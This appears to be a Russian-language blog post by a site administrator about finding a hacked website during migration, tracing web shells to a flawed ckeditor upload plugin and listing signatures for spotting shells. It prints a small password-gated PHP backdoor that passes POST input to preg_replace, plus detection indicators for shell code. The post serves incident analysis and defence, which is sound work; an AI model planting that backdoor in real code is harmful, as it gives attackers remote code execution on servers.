При переносе сайтов, случайно наткнулся на странные строки в логах, при обращении к одному из доменов.
Строка была вида:
File does not exist: путьксайту/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA
Меня заинтересовала откуда такой запрос вообще может быть.
Начал копать, нашел интересные вещи, а именно :
Описание парня с Украины (http://vk.com/notes39605750), который описывал что нашел странный файл на сайте.
Кроме того, это цифробуквенное сочетание использовалось в одном интересном файле http://ideone.com/fOKz4V (по всей видимости управляющий или заливающий это говно файл)
Также код встречается тут http://pastebin.com/QCZ25nqF .
Посмотрев внимательно на сайт, я видел что там кучка файлов… с содержимым отсюда : http://pastebin.com/QCZ25nqF.
Замечательно подумал я, меня поломали, но как?
После того как я убрал файлы php c кодом (http://pastebin.com/QCZ25nqF), начали запросы на подбор пароля ftp этого пользователя (у которого сайт). поскольку они не увенчались успехом, я стал дальше мониторить ситуацию (хотя меня смутило что подбор осуществлять сам мой сервер!). И тут я наткнулся на еще один странный файл php (лежал в папке с картинками) с содержимым вида:
if (md5($_POST['p']) == ’15ab5b551217a532506f5ed95d005a1a’) {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']); }
Вот такая штука ко мне пришла:
rdot.org/forum/showthread.php?t=1085
Пришла эта штука ко мне не сама, а ее по всей видимости залили с сайтом, так время первого вхождения такого файла совпадает с временем размещения. Но возможно это произошло и потом. Причиной появления шелла, явился плагин ckeditor с кривой функцией upload.
Чтобы проверить сайт на шеллы пришлось изучить тьму файлов.
Часто встречающиеся функции и переменные, по которым можно поймать шелл:
свои функции php — php_display($remote)
функции js — eval(function(p,a,c,k,e,d)
добавленные в самый конец js-файлов — document.write
переменные вида — $auth_pass=
файлы с обращением к function_exists(‘file_put_contents’) и кучей дерьма вида x00\x00\x00\x00\x00\x00\x10\
файлы с for($o=0,$e=’&\’()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)` и далее по тексту
почему то двоеточия стоят… справа не слева?